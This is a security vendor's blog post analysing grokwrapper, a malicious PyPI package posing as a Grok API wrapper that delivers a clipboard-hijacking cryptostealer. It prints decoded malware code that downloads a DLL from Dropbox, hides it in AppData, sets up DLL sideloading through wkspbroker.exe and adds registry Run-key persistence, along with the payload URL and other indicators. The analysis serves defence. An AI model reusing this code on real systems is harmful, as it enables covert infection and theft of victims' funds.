Fake Grok API Wrapper Deploys New Malware

By Paul McCarty

Fake Grok API Wrapper Deploys New Malware

The Safety Research team has identified a new supply chain attack targeting Python developers through a malicious PyPI package called grokwrapper. This package masquerades as an unofficial API wrapper for xAI’s Grok but really its malware. Upon installation, the package automatically downloads and executes a second-stage payload, establishes Windows Registry persistence, and uses DLL sideloading to maintain control of infected systems.

It is important to note that this malware is new, not currently detected by security tools, and appears to be a hybrid of two other malware families.

__wf_reserved_inherit

Executive Summary

A PyPI user named “yqr66” has deployed a malicious PyPI package called grokwrapper that poses as an xAI Grok API wrapper but delivers a new malware variant that is not being detected by existing security tools. Upon installation, it automatically downloads a persistent backdoor using DLL sideloading via legitimate Microsoft binaries (wkspbroker.exe). This supply chain attack targets Python developers outside CIS countries and represents an expansion of Operation DreamJob beyond traditional aerospace/defense sectors. Organizations should immediately check for compromise indicators and audit Python dependencies.

Version Comparison: Benign to Malicious

Nation state threat actors, including the DPRK, will often deploy a first benign package version first, and then a few days, or even weeks later, they will push the malicious version of the package.  Threat actors do this, in part, to bypass the security scanning tooling the package registries use behind the scenes.

The Safety research team is very familiar with this pattern, so we were not surprised to see this happen with the GrokWrapper package.

Version 0.1.0 (Benign)

The first version of grokwrapper was published on February 7, 2026, and appeared completely clean upon analysis. This initial release contained no malicious code whatsoever and consisted of simple flat module files including client.py, config.py, utils.py, and exceptions.py. The package appeared to be a legitimate (though likely non-functional) API wrapper stub, totaling approximately 285 lines of Python code across 4 files.

Notably, there were no malicious indicators present—no exec() calls, no base64 or zlib encoding, no Windows API calls, and no obfuscation techniques. The internal file timestamps were dated February 2, 2020, which were clearly fake and backdated, presumably to lend an air of legitimacy and established history to the package.

Version 0.2.0 (Malicious)

Just 24 hours later, on February 8, 2026, version 0.2.0 was published—and this release contained the malicious payload. The structure had evolved significantly from the benign predecessor, now featuring a full package with an __init__.py file containing 649 lines of heavily obfuscated code. The total line count had ballooned to approximately 1,486 lines across 5 Python files, with the malicious payload embedded within a file called internal_config.json.

This version exhibited all the classic malicious indicators: exec() calls for dynamic code execution, base64 and zlib encoding to hide the payload, Windows registry manipulation for persistence, and DLL sideloading techniques. Interestingly, the malware contained a critical bug—a typo that actually prevents execution entirely (detailed below). Analysis of the embedded RADCUI.dll payload revealed it had been compiled on February 5, 2026, a full three days before the package was even published to PyPI.

Attack Evolution

This represents a rapid version poisoning attack:

  • February 5, 2026: Threat actor compiles RADCUI.dll payload
  • February 7, 2026: Publish benign v0.1.0 to PyPI
  • Establishes package presence
  • Passes PyPI automated security scans
  • Appears in search results and package indexes
  • February 8, 2026 (24 hours later): Update to malicious v0.2.0
  • Embeds the DreamLoader variant
  • Targets users who auto-upgrade or run pip install --upgrade grokwrapper
  • Minimal time for security review between versions
  • February 9, 2026: Malware discovered and analyzed by the Safety team
  • Timeline Significance: The 24-hour gap between versions indicates a coordinated, planned attack rather than gradual compromise. This rapid deployment minimizes the window for detection and suggests operational urgency, possibly due to:
  • Time-sensitive targeting (specific campaign deadline)
  • Testing in production before wider deployment
  • Avoiding long-term monitoring by security researchers
  • This is a sophisticated APT technique to bypass PyPI security scanning while minimizing exposure time.
  • Package Overview

    Package Name: grokwrapper

    Version Analyzed: 0.2.0 (malicious), 0.1.0 (benign)

    PyPI Publisher: yqr66

    Package Description: "Lightweight wrapper for Grok by xAI – access Grok models via web interface without API key"

    Claimed Purpose: Unofficial API wrapper for xAI's Grok

    Actual Purpose (v0.2.0): Malware delivery and persistence

    Platform Target: Windows (x86-64)

    Attack Timeline: Version 0.1.0 (benign) → Version 0.2.0 (malicious)

    The package presents itself as a convenient tool for developers wanting to use xAI's Grok models without an API key. The README is well-crafted with code examples, feature lists, and professional documentation that would not immediately raise suspicion. The PyPI user yqr66 published this package with no apparent history of legitimate contributions to the Python ecosystem.

    Initial Discovery

    The first red flag appears in the package structure. While most of the code appears legitimate (client.py, config.py, utils.py, exceptions.py), the __init__.py file contains several unusual imports for an API wrapper:

    These imports are typically associated with system-level operations, not HTTP API interactions.

    The Trigger Mechanism

    This function is called automatically when the package is imported. Let's examine what it does:

    This function:

  • Reads data/internal_config.json
  • Extracts a base64-encoded, zlib-compressed payload from the api-secret field
  • Decodes and decompresses the payload
  • Executes it using Python's exec() function
  • This means simply importing the package triggers the malware.
  • The Hidden Payload

    The internal_config.json file appears innocuous at first glance:

    The api-secret field contains approximately 1.4KB of encoded data. After base64 decoding and zlib decompression, we recover the actual malicious code.

    Decoded Malware Functionality

    The decoded payload reveals a sophisticated Windows-targeting malware with the following capabilities:

    1. Geographic Filtering (Anti-CIS)

    The code uses a unique way to identify what country its running in.  

    The function tests to see what error is returned by the host Windows operating system, and then checks the output against this table:

  • 0x0419- Russian - Russia
  • 0x0423 - Belarusian - Belarus
  • 0x043F - Kazakh - Kazakhstan
  • 0x0428 -Tajik - Tajikistan
  • 0x0429 - Persian/Farsi - Iran
  • 0x0443 - Uzbek - Uzbekistan
  • If the malware sees that the locale is in one of those six areas, it exits immediately. Malware authors often exclude their home region to avoid local law enforcement. This suggests Russian-speaking region origin, however attribution is a little bit more nuanced in this case, which we’ll get into later.
  • It's notable that Ukrainian (0x0422) is NOT in the list, which is geopolitically significant.

    I wonder why that might be...?!

    2. Second Stage Download

    The malware downloads a file disguised as a GIF image from Dropbox. Despite the .gif extension, this is a malicious 64-bit Windows DLL (PE32+ executable). The file is saved as RADCUI.dll in a hidden directory.

    Second-Stage Payload Analysis (RADCUI.dll)

    The downloaded RADCUI.dll has the following characteristics:

  • File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows (VirusTotal reports it as NE 16 Windows exe)
  • File Size: 7,680 bytes (7.5 KB)
  • Compilation Date: Thu Feb 5 15:33:01 2026
  • MD5: 5849e7152fa8c58f3dbe2c439d9690e3
  • SHA-256: 1963f8777e33d95c106ba28857058348eed021b4b86c46bad63b63dabada26ce
  • Sections: 7 sections (.text, .data, .rdata, .bss, .edata, .idata, .reloc)
  • Imports: KERNEL32.dll, USER32.dll
  • Stripped: Debugging symbols removed (stripped to external PDB)
  • Notable Strings Found:
  • Critical Error, please check your PC - Potential error message shown to user
  • DUIRemoveSubscriptionDialogModal
  • DUISubscribeWizardModal
  • Windows API calls: GetCurrentProcessId, GetLastError, GetModuleFileNameA, GetTickCount, MessageBoxA
  • Potential Malware Identification: Lazarus Group
  • This RADCUI.dll payload and associated TTPs are often linked to the Lazarus Group APT (North Korean state-sponsored threat actor) and their DreamLoader/Operation DreamJob campaign.

    Evidence of Potential Attribution:

  • Known Lazarus TTPs: The combination of radcui.dll + wkspbroker.exe DLL sideloading is a documented Lazarus technique extensively analyzed by ESET and Lab52 security researchers in 2025.
  • Matching Infrastructure: Lab52 documented Lazarus using radcui.dll as a DLL loader executed via wkspbroker.exe (copied from System32). A known Lazarus variant has the hash fa014db2936da21af5943cc8f3656adb9800173ad86af196f71c6052295fff97.
  • DreamLoader Framework: The DLL is part of Lazarus's modular "DreamLoader" framework, which typically:
  • Contains encrypted payloads (Base64-encoded)
  • Decrypts using SID-pattern arguments passed at execution
  • Injects additional payloads like HideFirstLetter.dll for credential theft
  • Communicates via Microsoft Graph API for C2 to blend with legitimate traffic
  • This is NOT commodity malware. This is a nation-state APT operation by North Korea's Lazarus Group. The grokwrapper PyPI package represents an adaptation of Lazarus's DreamJob techniques to target the Python developer community, expanding beyond their traditional aerospace/defense targets.
  • Malware renames itself:

    The malware downloads this file with a .gif extension (PenisKOZLA.gif) as camouflage, but immediately saves it as RADCUI.dll. The file is never stored or referenced with the .gif extension after download - this is purely to evade detection during download and avoid suspicion when viewing Dropbox activity logs.

    Before we can talk about attribution though, we need to do more work. Let's continue...

    Download Method

    The malware uses a simple HTTP GET request with no special headers or authentication:

    rrrrrrrrrresponz = requests.get(NCDSaIODJS, timeout=10) rrrrrrrrrresponz.raise_for_status() with open(MZZZZZZZZZ, 'wb') as f:    f.write(rrrrrrrrrresponz.content)

    The URL already contains all necessary Dropbox parameters (rlkey, st, dl=1), so the download can be replicated with a simple curl/wget command for analysis purposes.

    3. Hidden Directory Creation

    QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) IIIIIIIIIIIIIIOiasadMDMAa = os.path.join(os.getenv("APPDATA"), QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ) os.makedirs(IIIIIIIIIIIIIIOiasadMDMAa, exist_ok=True) mrrobot = ctypes.windll.kernel32 FILE_ATTRIBUTE_HIDDEN = 0x02 FILE_ATTRIBUTE_SYSTEM  = 0x04 mrrobot.SetFileAttributesW(IIIIIIIIIIIIIIOiasadMDMAa, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)

    The malware:

  • Creates a directory with a random 10-character name in %APPDATA%
  • Sets the directory attributes to HIDDEN and SYSTEM to conceal it from casual inspection
  • Stores the downloaded DLL in this hidden location
  • 4. DLL Sideloading Setup
  • BBBBBBBBBBBBBBajsaj = r"C:\\\\Windows\\\\System32\\\\wkspbroker.exe" bin_path = os.path.join(IIIIIIIIIIIIIIOiasadMDMAa, bin_name) if os.path.exists(BBBBBBBBBBBBBBajsaj):    import shutil    shutil.copy2(BBBBBBBBBBBBBBajsaj, bin_path)

    The malware copies the legitimate Windows executable wkspbroker.exe from System32 to the hidden AppData directory. When executed, this legitimate executable will load the malicious RADCUI.dll from the same directory (DLL sideloading attack).

    Why wkspbroker.exe?

    wkspbroker.exe (RemoteApp and Desktop Connection Runtime Broker) is a legitimate, signed Microsoft executable that is vulnerable to DLL hijacking. Specifically:

  • Legitimate Path: C:\\\\Windows\\\\System32\\\\wkspbroker.exe
  • Vulnerability: Loads sspicli.dll and potentially other DLLs from its current directory before checking system paths
  • File Size: Approximately 199,840 bytes
  • Purpose: Part of Windows Remote Desktop Services
  • By placing a malicious DLL (named to match a DLL the executable loads) in the same directory as a copied legitimate executable, attackers can execute arbitrary code through a trusted, signed binary. This technique:
  • Bypasses application whitelisting (AppLocker, WDAC) since wkspbroker.exe is a legitimate Microsoft binary
  • Evades AV/EDR detection as the parent process is a trusted Windows component
  • Maintains code signing integrity on the executable while loading unsigned malicious code
  • Appears legitimate in process listings and forensic analysis
  • How the DLL Sideloading Works
  • Critical detail: The first-stage payload never directly executes RADCUI.dll. Instead, it:

  • Downloads PenisKOZLA.gif → immediately saves as RADCUI.dll in the hidden directory
  • Copies legitimate wkspbroker.exe to the same hidden directory (next to RADCUI.dll)
  • Executes wkspbroker.exe (not the DLL)
  • When wkspbroker.exe runs, it automatically loads DLLs from its current directory before checking system paths
  • It finds and loads the malicious RADCUI.dll instead of legitimate system DLLs
  • The malicious DLL code executes within the context of the legitimate, signed Microsoft process
  • Final directory structure in hidden AppData folder:
  • %APPDATA%\\\\[Random10Chars]\\\\ ├── RADCUI.dll          ← Malicious payload (downloaded as PenisKOZLA.gif) └── wkspbroker.exe      ← Legitimate Microsoft binary (copied from System32)

    This technique means the malware's code runs inside a process that:

  • Is signed by Microsoft
  • Has a valid digital signature
  • Appears in the legitimate Windows directory structure
  • Is recognized as a trusted system process by security software
  • 5. Registry Persistence
  • indiahackerz = r"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run" kurwa = "MircosoftUpdater_023BKFPA2K4OAK" allah = f'"{bin_path}"' try:    key = winreg.OpenKey(        winreg.HKEY_CURRENT_USER,        indiahackerz,        0,        winreg.KEY_SET_VALUE    )    winreg.SetValueEx(key, kurwa, 0, winreg.REG_SZ, allah)    winreg.CloseKey(key) except Exception:    pass

    The malware adds a registry key to ensure it runs on every system startup:

  • Key: HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run
  • Value Name: MircosoftUpdater_023BKFPA2K4OAK (note the typo: "Mircrosoft")
  • Value Data: Path to the copied wkspbroker.exe
  • 6. Silent Execution
  • CREATE_NO_WINDOW = 0x08000000 subprocess.Popen(    [bin_path],  # Executes the copied wkspbroker.exe    creationflags=CREATE_NO_WINDOW,    stdout=subprocess.DEVNULL,    stderr=subprocess.DEVNULL,    close_fds=True )

    Finally, the malware launches wkspbroker.exe (NOT the DLL directly) without creating a visible window, ensuring the victim remains unaware of the infection. When wkspbroker.exe starts, it loads and executes RADCUI.dll from the same directory, completing the sideloading attack.

    Key Point: The malicious code runs in the context of wkspbroker.exe, a legitimate, signed Microsoft executable. This means:

  • Process name: wkspbroker.exe (appears legitimate)
  • Digital signature: Valid Microsoft signature
  • Parent process: Typically the Python installer or user's shell
  • Loaded modules: Includes the malicious RADCUI.dll alongside legitimate Windows DLLs
  • Attack Flow
  • Installation: Developer installs grokwrapper via pip
  • Import Trigger: Package is imported (automatically or explicitly)
  • Payload Decode: _init_internal_services() decodes hidden payload from base64+zlib
  • Geographic Check: Malware checks if system is in CIS region (exits if yes)
  • Directory Creation: Creates hidden directory with random 10-character name in %APPDATA%
  • Download Payload: Downloads PenisKOZLA.gif from Dropbox, saves as RADCUI.dll
  • Copy Legitimate Binary: Copies C:\\\\Windows\\\\System32\\\\wkspbroker.exe to hidden directory
  • Persistence: Adds registry Run key pointing to copied wkspbroker.exe
  • Immediate Execution: Launches wkspbroker.exe silently (no window)
  • DLL Sideload: wkspbroker.exe loads malicious RADCUI.dll from its current directory
  • Malware Execution: DLL code runs inside legitimate Microsoft-signed process
  • Survival: Malware persists across reboots via registry Run key
  • The malware never directly executes the DLL. It exploits the Windows DLL search order so that when wkspbroker.exe runs, it automatically loads the malicious DLL thinking it's a legitimate system component.
  • What does the payload do?

    Before we can confidently say what this malware actually does, or who might have created it, we need to understand what the RUNCUI.dll does.  So, we initially ran it in a Hatching Triage sandbox.

    Triage identified malicious behaviours, but we noticed this interesting set of artefacts being created:

    __wf_reserved_inherit

    The .pb file appears to be a database of typo-squatted domain names:

    __wf_reserved_inherit

    You can find that Triage report HERE.  

    That analysis was inconclusive both on what the malware was, and what it did. So we rolled up our sleeves, phoned a friend, and opened the binary with Binary Ninja:

    __wf_reserved_inherit

    Really quickly we saw that the malware was interacting with the Windows clipboard.  

    __wf_reserved_inherit

    This screams cryptostealer, as they often have a process running in memory that watches the clipboard for crypto currency wallet addresses, and the malware will quickly switch the original destination wallet address for their own.

    Then we saw this: 

    __wf_reserved_inherit

    That looks like a function to decrypt something. Could it be a crypto wallet address?

    If we take a look a the decryption operations, we can tease out a Bitcoin and Litecoin wallet address. We also can see a unique string: "Milanno".

    __wf_reserved_inherit

    The "Milanno" string is used as a mutex to prevent two instances of the malware running at the same time.  There are several anti-analysis functions in the malware, which is common for DPRK tooling.

    Eventually we found a treasure trove of wallet addresses:

    __wf_reserved_inherit

    Threat actors crypto wallets identified

    After some cleanup, we knew 100% this was a cryptostealer.  Here are the wallets that are swapped in when the clipboard is manipulated:

    These wallets follow a pattern that is familiar to our team. The multi-chain spread across BTC (bech32), LTC (bech32), Tron, TON, Monero, Solana, and ETH is a textbook clipper/clipboard-hijacking wallet setup. Clipper is named after its innovative feature that replaces crypto wallet addresses on the clipboard wih the threat actors addresses. Clipper was originally identified in 2023 by the Phylum team.

    Because this malware is new, unfortunately, its not being flagged by Virustotal or EDR agents like SentinelOne, Microsoft Defender and CrowdStrike:

    __wf_reserved_inherit

    Additionally, threat intelligence platforms like OpenThreatExchange haven't see it yet either:

    __wf_reserved_inherit

    So, what kind of malware is this?

    The answer is this malware appears to be a hybrid of DreamLoader and Clipper.  It has the initial look and feel of DreamLoader with the DLL it uses, the tradecraft and TTPs that are known DreamLoader patterns. But then it deviates from that playbook and becomes a cryptostealer focused on modifying the Windows clipboard to send payments to the threat actors destination wallets.

    However, the actual code and compiled artefacts are fundamentally different than earlier Clipper payloads:

    The original Clipper radcui.dll is 560Kb while this RADCUI.dll is 7.5Kb. The original Clipper radcui.dll was compiled with Microsoft Visual Studio, while this radcui.dll was compiled with GNU MinGW.

    The original Clipper radcui.dll is a 64 bit PE executable, while this radcui.dll is a 16 bit NE executable.

    In short they are two different payloads with the same name. This latest malware copies the way that DreamLoader initially deploys itself on Windows systems, but then uses a new, small, fast clipboard cryptostealer written in C++, and compiled on February 5, 2026.

    What do you do if nothing detects this?

    It's not uncommon for malicious packages to use never before seen malware and infostealers. Because of this traditional security tools like EDR, and IDS/IPS don't really help much. It's important to review all third-party packages before installation, verify the publishers and perhaps even wait a week or month before installing new packages.

    Indicators of Compromise (IOCs)

    URL/Domains

    https://dl[.]dropboxusercontent[.]com/scl/fi/su8ks7znqh6lzkd9n26yt/PenisKOZLA.gif?rlkey=6otsosk8q7bjv2z44i16bmblo&st=ehtbhkv8&dl=1

    File System Indicators

  • Random directory: 10-character alphanumeric name in %APPDATA% with HIDDEN + SYSTEM attributes
  • Malicious DLL: RADCUI.dll (7,680 bytes)
  • MD5: 5849e7152fa8c58f3dbe2c439d9690e3
  • SHA-256: 1963f8777e33d95c106ba28857058348eed021b4b86c46bad63b63dabada26ce
  • Sideloaded executable: wkspbroker.exe copied from System32 to AppData
  • Registry Indicators
  • Key Path: HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run
  • Value Name: MircosoftUpdater_023BKFPA2K4OAK (note typo: "Mircrosoft" not "Microsoft")
  • Value Type: REG_SZ
  • Value Data: Path to malicious wkspbroker.exe copy in AppData
  • Unique Indicators
  • Milanno - user?

    indiahackerz - variable name

    Conclusion

    The grokwrapper package represents a new evolution of the DPRK playbook:  Focusing on Python developers to install comprehensive Windows malware. Teams need to realize that there is a real and present danger from advanced threats like North Korea, China and Russia who are now realizing that the developers laptop is where the crown jewels are.  

    How can Safety help protect you from these attacks?

    Traditional vulnerability scanning happens too late - after potentially malicious code is already in your system. Which means that ASPM and EDR solutions don't protect you from this type of threat.

    But all is not lost, as the Safety Firewall protects develoeprs and CI pipelines proactively. Every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems, preventing rather than just detecting threats.

    You can sign up for a free Safety account and try the Safety Firewall HERE.

    Feel free to reach out to me with any questions!

    Let us know if this blog post helped you

    I hope this blog post has helped you. Feel free to hit me up directly if you have any questions about this campaign.

    __wf_reserved_inherit

    Paul McCarty - Head of Research, Safety

    You can find me on LinkedIn and BlueSky.

    Read the full article